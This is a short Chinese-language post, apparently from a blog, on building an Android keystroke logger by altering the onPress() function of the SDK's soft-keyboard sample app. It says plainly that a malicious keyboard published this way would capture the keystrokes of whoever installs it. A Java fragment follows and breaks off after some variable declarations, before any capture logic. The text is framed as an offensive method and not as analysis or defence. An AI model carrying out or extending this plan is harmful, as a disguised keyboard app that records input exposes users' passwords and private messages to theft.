实现按键钩子,一般可以在框架,linux内核等上面进行,这次主要是在应用层实现的。
方案为:
获取android sdk提供的com_example_android_softkeyboard例子程序,然后,修改OnPress()
函数就可以实现了。如果把这个恶意的软键盘发布出去,人家安装了之后,我们还是可以截获到按键信息的。
public void onPress(int primaryCode) {
int iKeyboardResId;
int iCode;
String sLabel;
String name ;
LatinKeyboard CurrentKeyboard;
StringBuilder sb = new StringBuilder("");
//android.os.Debug.waitForDebugger();
if(mInputView == null)
return;
Keyboard currentKeyboard = mInputView.